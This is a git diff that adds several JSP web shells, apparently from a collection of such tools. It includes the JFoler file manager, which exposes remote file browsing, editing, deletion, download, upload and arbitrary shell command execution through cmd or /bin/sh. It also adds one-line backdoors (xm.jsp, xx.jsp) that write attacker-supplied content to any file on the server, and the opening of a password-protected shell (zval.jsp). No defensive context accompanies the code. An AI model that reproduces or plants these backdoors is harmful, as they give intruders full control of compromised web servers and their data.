byte temp[] = null;
|
||||
byte currentLine[] = new byte[2 * ONE_MB];
|
||||
int read, read3;
|
||||
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||
line = null;
|
||||
break;
|
||||
}
|
||||
while (readingContent) {
|
||||
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||
line = null;
|
||||
uplInfo.aborted = true;
|
||||
break;
|
||||
}
|
||||
if (compareBoundary(boundary, currentLine)) {
|
||||
os.write(previousLine, 0, read - 2);
|
||||
line = new String(currentLine, 0, read3);
|
||||
break;
|
||||
}
|
||||
else {
|
||||
os.write(previousLine, 0, read);
|
||||
uplInfo.currSize += read;
|
||||
temp = currentLine;
|
||||
currentLine = previousLine;
|
||||
previousLine = temp;
|
||||
read = read3;
|
||||
}//end else
|
||||
}//end while
|
||||
os.flush();
|
||||
os.close();
|
||||
if (!saveFiles) {
|
||||
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||
fileInfo.setFileContents(baos.toByteArray());
|
||||
}
|
||||
else fileInfo.file = new File(path);
|
||||
dataTable.put(paramName, fileInfo);
|
||||
uplInfo.currSize = uplInfo.totalSize;
|
||||
}//end try
|
||||
catch (IOException e) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return dataTable;
|
||||
}
|
||||
|
||||
/**
|
||||
* Compares boundary string to byte array
|
||||
*/
|
||||
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||
byte b;
|
||||
if (boundary == null || ba == null) return false;
|
||||
for (int i = 0; i < boundary.length(); i++)
|
||||
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/** Convenience method to read HTTP header lines */
|
||||
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||
byte b[] = new byte[1024];
|
||||
int read = sis.readLine(b, 0, b.length), index;
|
||||
String line = null;
|
||||
if (read != -1) {
|
||||
line = new String(b, 0, read);
|
||||
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||
}
|
||||
return line;
|
||||
}
|
||||
|
||||
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||
String path = null;
|
||||
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||
"dir or fileName is null");
|
||||
int index = fileName.lastIndexOf('/');
|
||||
String name = null;
|
||||
if (index >= 0) name = fileName.substring(index + 1);
|
||||
else name = fileName;
|
||||
index = name.lastIndexOf('\\');
|
||||
if (index >= 0) fileName = name.substring(index + 1);
|
||||
path = dir + File.separator + fileName;
|
||||
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||
else return path.replace('/', File.separatorChar);
|
||||
}
|
||||
} //End of class HttpMultiPartParser
|
||||
|
||||
String formatPath(String p)
|
||||
{
|
||||
StringBuffer sb=new StringBuffer();
|
||||
for (int i = 0; i < p.length(); i++)
|
||||
{
|
||||
if(p.charAt(i)=='\\')
|
||||
{
|
||||
sb.append("\\\\");
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.append(p.charAt(i));
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts some important chars (int) to the corresponding html string
|
||||
*/
|
||||
static String conv2Html(int i) {
|
||||
if (i == '&') return "&";
|
||||
else if (i == '<') return "<";
|
||||
else if (i == '>') return ">";
|
||||
else if (i == '"') return """;
|
||||
else return "" + (char) i;
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a normal string to a html conform string
|
||||
*/
|
||||
static String htmlEncode(String st) {
|
||||
StringBuffer buf = new StringBuffer();
|
||||
for (int i = 0; i < st.length(); i++) {
|
||||
buf.append(conv2Html(st.charAt(i)));
|
||||
}
|
||||
return buf.toString();
|
||||
}
|
||||
String getDrivers()
|
||||
/**
|
||||
Windows
|
||||
*/
|
||||
{
|
||||
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||
File roots[]=File.listRoots();
|
||||
for(int i=0;i<roots.length;i++)
|
||||
{
|
||||
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+strSeparator+"','','','1','');\">");
|
||||
sb.append(roots[i]+"</a> ");
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
static String convertFileSize(long filesize)
|
||||
{
|
||||
|
||||
String strUnit="Bytes";
|
||||
String strAfterComma="";
|
||||
int intDivisor=1;
|
||||
if(filesize>=1024*1024)
|
||||
{
|
||||
strUnit = "MB";
|
||||
intDivisor=1024*1024;
|
||||
}
|
||||
else if(filesize>=1024)
|
||||
{
|
||||
strUnit = "KB";
|
||||
intDivisor=1024;
|
||||
}
|
||||
if(intDivisor==1) return filesize + " " + strUnit;
|
||||
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||
if(strAfterComma=="") strAfterComma=".0";
|
||||
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||
}
|
||||
%>
|
||||
<%
|
||||
request.setCharacterEncoding("gb2312");
|
||||
String tabID = request.getParameter("tabID");
|
||||
String strDir = request.getParameter("path");
|
||||
String strAction = request.getParameter("action");
|
||||
String strFile = request.getParameter("file");
|
||||
String strPath = strDir + strSeparator + strFile;
|
||||
String strCmd = request.getParameter("cmd");
|
||||
StringBuffer sbEdit=new StringBuffer("");
|
||||
StringBuffer sbDown=new StringBuffer("");
|
||||
StringBuffer sbCopy=new StringBuffer("");
|
||||
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||
StringBuffer sbNewFile=new StringBuffer("");
|
||||
String strOS = System.getProperty("os.name").toLowerCase();
|
||||
//out.print(strPath);
|
||||
if((tabID==null) || tabID.equals(""))
|
||||
{
|
||||
tabID = "1";
|
||||
}
|
||||
|
||||
if(strDir==null||strDir.length()<1)
|
||||
{
|
||||
strDir = request.getRealPath(".");
|
||||
}
|
||||
|
||||
|
||||
if(strAction!=null && strAction.equals("down"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
if(f.length()==0)
|
||||
{
|
||||
sbDown.append("size=0");
|
||||
}
|
||||
else
|
||||
{
|
||||
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||
out.clearBuffer();
|
||||
int i;
|
||||
while ((i=fileInputStream.read()) != -1)
|
||||
{
|
||||
out.write(i);
|
||||
}
|
||||
fileInputStream.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("del"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
f.delete();
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("edit"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||
String line="";
|
||||
while((line=br.readLine())!=null)
|
||||
{
|
||||
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||
}
|
||||
sbEdit.append("</textarea>");
|
||||
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||
sbEdit.append("</form>");
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("save"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||
String strContent=request.getParameter("content");
|
||||
bw.write(strContent);
|
||||
bw.close();
|
||||
}
|
||||
if(strAction!=null && strAction.equals("copy"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||
sbCopy.append("src file: "+strPath+"<p>");
|
||||
sbCopy.append("dst file: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||
sbCopy.append("</form>");
|
||||
}
|
||||
if(strAction!=null && strAction.equals("savecopy"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
String strDesFile=request.getParameter("file2");
|
||||
if(strDesFile==null || strDesFile.equals(""))
|
||||
{
|
||||
sbSaveCopy.append("<p><font color=red>target file error</font>");
|
||||
}
|
||||
else
|
||||
{
|
||||
File f_des=new File(strDesFile);
|
||||
if(f_des.isFile())
|
||||
{
|
||||
sbSaveCopy.append("<p><font color=red>target file exists, copy failed.</font>");
|
||||
}
|
||||
else
|
||||
{
|
||||
String strTmpFile=strDesFile;
|
||||
if(f_des.isDirectory())
|
||||
{
|
||||
if(!strDesFile.endsWith(strSeparator))
|
||||
{
|
||||
strDesFile=strDesFile+strSeparator;
|
||||
}
|
||||
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||
}
|
||||
|
||||
File f_des_copy=new File(strTmpFile);
|
||||
FileInputStream in1=new FileInputStream(f);
|
||||
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||
byte[] buffer=new byte[1024];
|
||||
int c;
|
||||
while((c=in1.read(buffer))!=-1)
|
||||
{
|
||||
out1.write(buffer,0,c);
|
||||
}
|
||||
in1.close();
|
||||
out1.close();
|
||||
|
||||
sbSaveCopy.append("src file:"+strPath+"<p>");
|
||||
sbSaveCopy.append("dst file:"+strTmpFile+"<p>");
|
||||
sbSaveCopy.append("<font color=red>copy success</font>");
|
||||
}
|
||||
}
|
||||
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=return>");
|
||||
}
|
||||
if(strAction!=null && strAction.equals("newFile"))
|
||||
{
|
||||
String strF=request.getParameter("fileName");
|
||||
String strType1=request.getParameter("btnNewFile");
|
||||
String strType2=request.getParameter("btnNewDir");
|
||||
String strType="";
|
||||
if(strType1==null)
|
||||
{
|
||||
strType="Dir";
|
||||
}
|
||||
else if(strType2==null)
|
||||
{
|
||||
strType="File";
|
||||
}
|
||||
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||
{
|
||||
File f_new=new File(strF);
|
||||
if(strType.equals("File") && !f_new.createNewFile())
|
||||
sbNewFile.append(strF+" create file failed");
|
||||
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||
sbNewFile.append(strF+" create directory failed");
|
||||
}
|
||||
else
|
||||
{
|
||||
sbNewFile.append("<p><font color=red>create file or directory failed</font>");
|
||||
}
|
||||
}
|
||||
|
||||
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||
{
|
||||
String tempdir=".";
|
||||
boolean error=false;
|
||||
response.setContentType("text/html");
|
||||
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||
|
||||
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||
String bound = request.getContentType().substring(bstart + 8);
|
||||
int clength = request.getContentLength();
|
||||
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||
if (ht.get("cqqUploadFile") != null)
|
||||
{
|
||||
|
||||
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||
File f1 = fi.file;
|
||||
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||
if (info != null && info.aborted)
|
||||
{
|
||||
f1.delete();
|
||||
request.setAttribute("error", "Upload aborted");
|
||||
}
|
||||
else
|
||||
{
|
||||
String path = (String) ht.get("path");
|
||||
|
||||
if(path!=null && !path.endsWith(strSeparator))
|
||||
path = path + strSeparator;
|
||||
strDir = path;
|
||||
//out.println(path + f1.getName());
|
||||
if (!f1.renameTo(new File(path + f1.getName())))
|
||||
{
|
||||
request.setAttribute("error", "Cannot upload file.");
|
||||
out.println("error,upload ");
|
||||
error = true;
|
||||
f1.delete();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
%>
|
||||
<html>
|
||||
<head>
|
||||
<style type="text/css">
|
||||
td,select,input,body{font-size:9pt;}
|
||||
A { TEXT-DECORATION: none }
|
||||
|
||||
#tablist{
|
||||
padding: 5px 0;
|
||||
margin-left: 0;
|
||||
margin-bottom: 0;
|
||||
margin-top: 0.1em;
|
||||
font:9pt;
|
||||
}
|
||||
|
||||
#tablist li{
|
||||
list-style: none;
|
||||
display: inline;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
#tablist li a{
|
||||
padding: 3px 0.5em;
|
||||
margin-left: 3px;
|
||||
border: 1px solid ;
|
||||
background: F6F6F6;
|
||||
}
|
||||
|
||||
#tablist li a:link, #tablist li a:visited{
|
||||
color: navy;
|
||||
}
|
||||
|
||||
#tablist li a.current{
|
||||
background: #EAEAFF;
|
||||
}
|
||||
|
||||
#tabcontentcontainer{
|
||||
width: 100%;
|
||||
padding: 5px;
|
||||
border: 1px solid black;
|
||||
}
|
||||
|
||||
.tabcontent{
|
||||
display:none;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||
|
||||
////////Stop editting////////////////
|
||||
|
||||
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||
if (el.currentStyle)
|
||||
return el.currentStyle[cssproperty]
|
||||
else if (window.getComputedStyle){
|
||||
var elstyle=window.getComputedStyle(el, "")
|
||||
return elstyle.getPropertyValue(csspropertyNS)
|
||||
}
|
||||
}
|
||||
|
||||
var previoustab=""
|
||||
|
||||
function expandcontent(cid, aobject){
|
||||
if (document.getElementById){
|
||||
highlighttab(aobject)
|
||||
if (previoustab!="")
|
||||
document.getElementById(previoustab).style.display="none"
|
||||
document.getElementById(cid).style.display="block"
|
||||
previoustab=cid
|
||||
if (aobject.blur)
|
||||
aobject.blur()
|
||||
return false
|
||||
}
|
||||
else
|
||||
return true
|
||||
}
|
||||
|
||||
function highlighttab(aobject){
|
||||
if (typeof tabobjlinks=="undefined")
|
||||
collecttablinks()
|
||||
for (i=0; i<tabobjlinks.length; i++)
|
||||
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||
}
|
||||
|
||||
function collecttablinks(){
|
||||
var tabobj=document.getElementById("tablist")
|
||||
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||
}
|
||||
|
||||
function do_onload(){
|
||||
collecttablinks()
|
||||
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||
}
|
||||
|
||||
if (window.addEventListener)
|
||||
window.addEventListener("load", do_onload, false)
|
||||
else if (window.attachEvent)
|
||||
window.attachEvent("onload", do_onload)
|
||||
else if (document.getElementById)
|
||||
window.onload=do_onload
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
<script language="javascript">
|
||||
|
||||
function doForm(action,path,file,cmd,tab,content)
|
||||
{
|
||||
document.frmCqq.action.value=action;
|
||||
document.frmCqq.path.value=path;
|
||||
document.frmCqq.file.value=file;
|
||||
document.frmCqq.cmd.value=cmd;
|
||||
document.frmCqq.tabID.value=tab;
|
||||
document.frmCqq.content.value=content;
|
||||
if(action=="del")
|
||||
{
|
||||
if(confirm("Are you sure to delete file "+file+" ?"))
|
||||
document.frmCqq.submit();
|
||||
}
|
||||
else
|
||||
{
|
||||
document.frmCqq.submit();
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<title>JFoler 1.0 </title>
|
||||
<head>
|
||||
|
||||
|
||||
<body>
|
||||
|
||||
<form name="frmCqq" method="post" action="">
|
||||
<input type="hidden" name="action" value="">
|
||||
<input type="hidden" name="path" value="">
|
||||
<input type="hidden" name="file" value="">
|
||||
<input type="hidden" name="cmd" value="">
|
||||
<input type="hidden" name="tabID" value="2">
|
||||
<input type="hidden" name="content" value="">
|
||||
</form>
|
||||
|
||||
<!--Top Menu Started-->
|
||||
<ul id="tablist">
|
||||
<li><a href="http://www.topronet.com" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||
<%=authorInfo[languageNo]%>
|
||||
</ul>
|
||||
<!--Top Menu End-->
|
||||
|
||||
|
||||
<%
|
||||
StringBuffer sbFolder=new StringBuffer("");
|
||||
StringBuffer sbFile=new StringBuffer("");
|
||||
try
|
||||
{
|
||||
File objFile = new File(strDir);
|
||||
File list[] = objFile.listFiles();
|
||||
if(objFile.getAbsolutePath().length()>3)
|
||||
{
|
||||
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||
|
||||
|
||||
}
|
||||
for(int i=0;i<list.length;i++)
|
||||
{
|
||||
if(list[i].isDirectory())
|
||||
{
|
||||
sbFolder.append("<tr><td > </td><td>");
|
||||
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||
}
|
||||
else
|
||||
{
|
||||
String strLen="";
|
||||
String strDT="";
|
||||
long lFile=0;
|
||||
lFile=list[i].length();
|
||||
strLen = convertFileSize(lFile);
|
||||
Date dt=new Date(list[i].lastModified());
|
||||
strDT=dt.toLocaleString();
|
||||
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||
sbFile.append(""+list[i].getName());
|
||||
sbFile.append("</td><td>");
|
||||
sbFile.append(""+strLen);
|
||||
sbFile.append("</td><td>");
|
||||
sbFile.append(""+strDT);
|
||||
sbFile.append("</td><td>");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
out.println("<font color=red>failed: "+e.toString()+"</font>");
|
||||
}
|
||||
%>
|
||||
|
||||
<DIV id="tabcontentcontainer">
|
||||
|
||||
|
||||
<div id="menu3" class="tabcontent">
|
||||
<br>
|
||||
<br> not finished <%=strOS%>
|
||||
<br> <%
|
||||
//Properties prop = new Properties(System.getProperties());
|
||||
//prop.list(out);
|
||||
%>
|
||||
|
||||
<br>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="menu4" class="tabcontent">
|
||||
<p> </p>
|
||||
<p> </p>
|
||||
</div>
|
||||
|
||||
|
||||
<div id="menu1" class="tabcontent">
|
||||
<%
|
||||
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+":<b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||
%>
|
||||
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||
|
||||
<tr>
|
||||
<td width="25%" align="center" valign="top">
|
||||
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||
<%=sbFolder%>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
<td width="81%" align="left" valign="top">
|
||||
|
||||
<%
|
||||
if(strAction!=null && strAction.equals("edit"))
|
||||
{
|
||||
out.println(sbEdit.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("copy"))
|
||||
{
|
||||
out.println(sbCopy.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("down"))
|
||||
{
|
||||
out.println(sbDown.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("savecopy"))
|
||||
{
|
||||
out.println(sbSaveCopy.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||
{
|
||||
out.println(sbNewFile.toString());
|
||||
}
|
||||
else
|
||||
{
|
||||
%>
|
||||
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||
<tr bgcolor="#E7e7e6">
|
||||
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||
</tr>
|
||||
<%=sbFile%>
|
||||
<!-- <tr align="center">
|
||||
<td colspan="4"><br>
|
||||
total files:<font color="#FF0000">30</font> ??size:<font color="#FF0000">664.9</font>
|
||||
KB </td>
|
||||
</tr>
|
||||
-->
|
||||
</table>
|
||||
</span>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<form name="frmMake" action="" method="post">
|
||||
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||
<input type="hidden" name="action" value="newFile">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type="hidden" name="file" value="<%=strFile%>">
|
||||
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||
<input type="hidden" name="tabID" value="1">
|
||||
<input type="hidden" name="content" value="">
|
||||
<%
|
||||
if(!strDir.endsWith(strSeparator))
|
||||
strDir = strDir + strSeparator;
|
||||
%>
|
||||
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||
<input type="submit" name="btnNewFile" value="new file" onclick="frmMake.submit()" >
|
||||
<input type="submit" name="btnNewDir" value="new folder" onclick="frmMake.submit()" >
|
||||
</form>
|
||||
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||
<input type="hidden" name="action" value="upload">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type="hidden" name="file" value="<%=strFile%>">
|
||||
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||
<input type="hidden" name="tabID" value="1">
|
||||
<input type="hidden" name="content" value="">
|
||||
<input type="file" name="cqqUploadFile" size="36">
|
||||
<input type="submit" name="submit" value="upload">
|
||||
</td></tr></form>
|
||||
</table>
|
||||
</div>
|
||||
<div id="menu2" class="tabcontent">
|
||||
|
||||
<%
|
||||
String line="";
|
||||
StringBuffer sbCmd=new StringBuffer("");
|
||||
|
||||
if(strCmd!=null)
|
||||
{
|
||||
try
|
||||
{
|
||||
//out.println(strCmd);
|
||||
String[] strShell=new String[2];
|
||||
if(strOS.startsWith("win"))
|
||||
{
|
||||
strShell[0]="cmd";
|
||||
strShell[1]="/c";
|
||||
}
|
||||
else
|
||||
{
|
||||
strShell[0]="/bin/sh";
|
||||
strShell[1]="-c";
|
||||
}
|
||||
String[] strCommand=new String[3];
|
||||
strCommand[0]=strShell[0];
|
||||
strCommand[1]=strShell[1];
|
||||
strCommand[2]=strCmd;
|
||||
System.out.println(strCommand);
|
||||
Process p=Runtime.getRuntime().exec(strCommand,null,new File(strDir));
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||
while((line=br.readLine())!=null)
|
||||
{
|
||||
sbCmd.append(line+"\r\n");
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
System.out.println(e.toString());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
strCmd = "set";
|
||||
}
|
||||
|
||||
%>
|
||||
<form name="cmd" action="" method="post">
|
||||
|
||||
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||
<input type="hidden" name="tabID" value="2">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||
</form>
|
||||
<%
|
||||
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||
{
|
||||
%>
|
||||
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||
<br>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
</DIV>
|
||||
</div>
|
||||
<br>
|
2403
jsp/x7.jsp
Normal file
2403
jsp/x7.jsp
Normal file
File diff suppressed because it is too large
Load diff
2317
jsp/xia.jsp
Normal file
2317
jsp/xia.jsp
Normal file
File diff suppressed because it is too large
Load diff
1
jsp/xm.jsp
Normal file
1
jsp/xm.jsp
Normal file
|
@ -0,0 +1 @@
|
|||
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
|
1
jsp/xx.jsp
Normal file
1
jsp/xx.jsp
Normal file
|
@ -0,0 +1 @@
|
|||
<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
|
59
jsp/zval.jsp
Normal file
59
jsp/zval.jsp
Normal file
|
@ -0,0 +1,59 @@
|
|||
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!
|
||||
String Pwd="c";
|
||||
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
|
||||
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
|
||||
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
|
||||
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
|
||||
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
|
||||
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
|
||||
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
|
||||
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
|
||||
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
|
||||
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
|
||||
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
|
||||
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
|
||||
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
|
||||
